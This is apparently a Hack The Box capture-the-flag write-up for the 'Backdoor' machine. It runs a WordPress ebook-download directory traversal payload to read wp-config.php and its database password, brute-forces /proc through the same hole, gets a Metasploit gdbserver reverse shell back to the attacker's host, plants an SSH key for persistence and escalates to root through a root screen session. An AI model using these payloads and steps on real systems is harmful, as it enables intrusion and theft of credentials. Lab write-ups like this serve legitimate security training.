



HACKTHEBOX

Hack The Box – Writeup

Machine: Backdoor

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1 Overview

Name	IP	Difficulty
Backdoor	10.129.111.51	Easy

2 Recon

2.1 nmap

We start with an nmap scan as always:

```

PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu 2
          Linux; protocol 2.0)
|_ ssh-hostkey:
|_   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQDqz2EAb2SBSzEIxcu+9dzgUZzDJGdCFWjwuxjhwtppQ
3sGiUQ1jgwf7h5BE+ALYhSX0oqoOLPKA/QHLxvJ9sYz0ijBL7aEJU8tYHchYMCMu0e8a71p3Q
UGirTjn2tBVe3RSCo/XRQOM/ztrBzlqLKHcgMpttqJHphVA0/1dP7uoLCJLA00WnW0K311Q
DXkxf0iKRc2izbgfgimMDR4T1C17/oh9355TBgGGg2F7AooUpdtsahsiFIItCRkvVB1G7Q
DQiGqRTWsFaKBkHPVMQFaLEm5DK9H7PRwE+UYCah/Wp95NkwWj3u3H93p4V2y0Y6kdjF/L+BRmB44Q
XZXm2Vu7BN0ouuT1SP3zu8YUe3FHshFiMl7Ac/8zL1twLpnQ9Hv8KXnNKPoHgrU+sh35cd0Q
JbCqyPFG5yzil8smr7Q4z9/XeATKzL4bcjG87sGtZMtB8alQS7yFA6wmqyWqLFQ4rpi2S0Q
CoslyQnighQSwNaWuBYXv0Li6AsgckJLS44L8LxU4J8=
|_   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2Q
VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+Q
RbMsbItjTbVvKK4xKMfZFHZroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAK=
|_   256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNAfftGoFcX4Ttpwf+RPo0ydNk7yfqa
80/tcp    open  http      syn-ack ttl 63  Apache httpd 2.4.41 ((Ubuntu))
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-generator: WordPress 5.8.1
|_ http-title: Backdoor 8#8211; Real-Life
1337/tcp  open  waste?    syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Listing 2.1: nmap results

2.2 Port 80 web

Looking at the start of the gobuster run this looks to be a WordPress instance:

```
> gobuster dir -w ~/tools/wordlists/SecLists/Discovery/Web-Content/directory-list-2
lowercase-2.3-medium.txt -u http://10.129.111.51 -o gobuster/root.log

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.129.111.51
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/patrick/tools/wordlists/SecLists/Discovery/Web-2
Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2021/11/24 11:52:58 Starting gobuster in directory enumeration mode

/wp-content (Status: 301) [Size: 319] [--> http://10.129.111.51/wp-2
content/]
/wp-includes (Status: 301) [Size: 320] [--> http://10.129.111.51/wp-2
includes/]
/wp-admin (Status: 301) [Size: 317] [--> http://10.129.111.51/wp-admin2
/]
/server-status (Status: 403) [Size: 278]

2021/11/24 12:06:01 Finished
```

Listing 2.2: gobuster

So lets run wp-scan on it. The crucial lines are:

```
> wpscan --url http://10.129.111.51 -e ap --plugins-detection aggressive
...
[i] Plugin(s) Identified:

[+] akismet
  Location: http://10.129.111.51/wp-content/plugins/akismet/
  Latest Version: 4.2.1
  Last Updated: 2021-10-01T18:28:00.000Z

  Found By: Known Locations (Aggressive Detection)
    - http://10.129.111.51/wp-content/plugins/akismet/, status: 403

  The version could not be determined.

[+] ebook-download
  Location: http://10.129.111.51/wp-content/plugins/ebook-download/
  Last Updated: 2020-03-12T12:52:00.000Z
  Readme: http://10.129.111.51/wp-content/plugins/ebook-download/readme.txt
  [!] The version is out of date, the latest version is 1.5
  [!] Directory listing is enabled

  Found By: Known Locations (Aggressive Detection)
    - http://10.129.111.51/wp-content/plugins/ebook-download/, status: 200

  Version: 1.1 (100% confidence)
  Found By: Readme - Stable Tag (Aggressive Detection)
    - http://10.129.111.51/wp-content/plugins/ebook-download/readme.txt
  Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
    - http://10.129.111.51/wp-content/plugins/ebook-download/readme.txt
```

Listing 2.3: WPScan output

As we can see from the listing above there is a vulnerable plugin called *ebook-download*. In the exploit-db you can find a Directory Traversal PoC to use this vulnerability to read the *wp-config.php* file:

```
# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7

[Version Disclosure]
=====
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
=====

[PoC]
=====
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../wp-2
config.php
=====
```

Listing 2.4: exploit-db entry for ebook-download plugin

Lets use it to read the content then:

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
```

Listing 2.5: Crucial content of wp-config.php

So this will be a dead end here. The creds are not useful at this moment. But we know there is a service listening on port 1337 so we try to find out what it is by using this vulnerability against the */proc/* directory bruteforcing the process IDs.

```
> ffuf -w numbers1-10000.txt -u "http://10.129.111.51/wp-content/plugins/ebook-down
download/filedownload.php?ebookdownloadurl=../../../../../../../../proc/
FUZZ/cmdline" -mr 1337

:: Method          : GET
:: URL             : http://10.129.111.51/wp-content/plugins/ebook-download/
filedownload.php?ebookdownloadurl=../../../../../../../../proc/FUZZ/
cmdline
:: Wordlist         : FUZZ: numbers1-10000.txt
:: Follow redirects : false
:: Calibration     : false
:: Timeout         : 10
:: Threads         : 40
:: Matcher         : Regexp: 1337

955 [Status: 200, Size: 268, Words: 11, Lines: 1, Duration: 282
ms]
1337 [Status: 200, Size: 172, Words: 1, Lines: 1, Duration: 282
ms]
:: Progress: [10000/10000] :: Job [1/1] :: 1370 req/sec :: Duration: [0:00:07] :: 2
Errors: 0 ::
```

Listing 2.6: ffuf bruteforcing process ids

If you look at the `cmdline` of PID 955 it will reveal:

```
/bin/sh -c 'while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 2
/bin/true;"; done'
```

So basically a `gdbserver` is running as `user` on port 1337.

3 Initial foothold

So basically there is a metasploit module for that which we can use to gain a shell as user:

```
msf6 exploit(multi/gdb/gdb_server_exec) > run

[*] Started reverse TCP handler on 10.10.14.70:9001
[*] 10.129.111.51:1337 - Performing handshake with gdbserver ...
[*] 10.129.111.51:1337 - Stepping program to find PC ...
[*] 10.129.111.51:1337 - Writing payload at 00007ffff7fd0103 ...
[*] 10.129.111.51:1337 - Executing the payload ...
[*] Sending stage (3012548 bytes) to 10.129.111.51
[*] Meterpreter session 2 opened (10.10.14.70:9001 -> 10.129.111.51:38858) at 2021-11-24 13:31:28 +0100

meterpreter >
meterpreter > getuid
Server username: user
meterpreter > cat user.txt
ea4ae0acb3591c2ff5214df99d0c95f3
meterpreter > pwd
/home/user
meterpreter > mkdir .ssh
Creating directory: .ssh
meterpreter > shell
Process 22221 created.
Channel 2 created.
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILOeVRSJcE+GiHd8xXm7a1cFh3o2qU0/LDm2TM4MQ0yN c1sc0@htb.eu" >> ~/.ssh/authorized_keys

# Other terminal

> ssh -l user -i c1sc0.key 10.129.111.51
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-80-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

System information as of Wed 24 Nov 2021 12:33:03 PM UTC

System load:  0.0          Processes:            230
Usage of /:   44.6% of 6.74GB Users logged in:      0
Memory usage: 37%          IPv4 address for eth0: 10.129.111.51
Swap usage:   0%

30 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov  8 17:00:17 2021 from 10.10.14.23
user@Backdoor:~$
```

Listing 3.1: Metasploit exploit to gain init foothold

I decided on placing an `authorized_keys` file to be able to dial in via ssh.

4 Privilege escalation

Running linpeas will not give us that much. Running pspy though will show us this:

```
2021/11/24 12:51:02 CMD: UID=0      PID=41224 | sleep 1
2021/11/24 12:51:03 CMD: UID=0      PID=41227 | find /var/run/screen/S-root/ -empty\
    -exec screen -dmS root ;
2021/11/24 12:51:03 CMD: UID=0      PID=41228 | sleep 1
2021/11/24 12:51:06 CMD: UID=0      PID=41233 | find /var/run/screen/S-root/ -empty\
    -exec screen -dmS root ;
```

There is a command which is ran periodically - `find`. So basically the user `root` is creating a screen session called `root`. With the argument `-x` you can attach to a screen session by providing the format `session/user`.

So all we do is connect to the session like:

```
user@Backdoor:/dev/shm$ screen -x root/root

root@Backdoor:~# whoami
root
root@Backdoor:~# cat /root/root.txt
39ecc645a6a433f8fb8409e60c8d681f
```

Listing 4.1: Be root using screen



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Thanks for reading...

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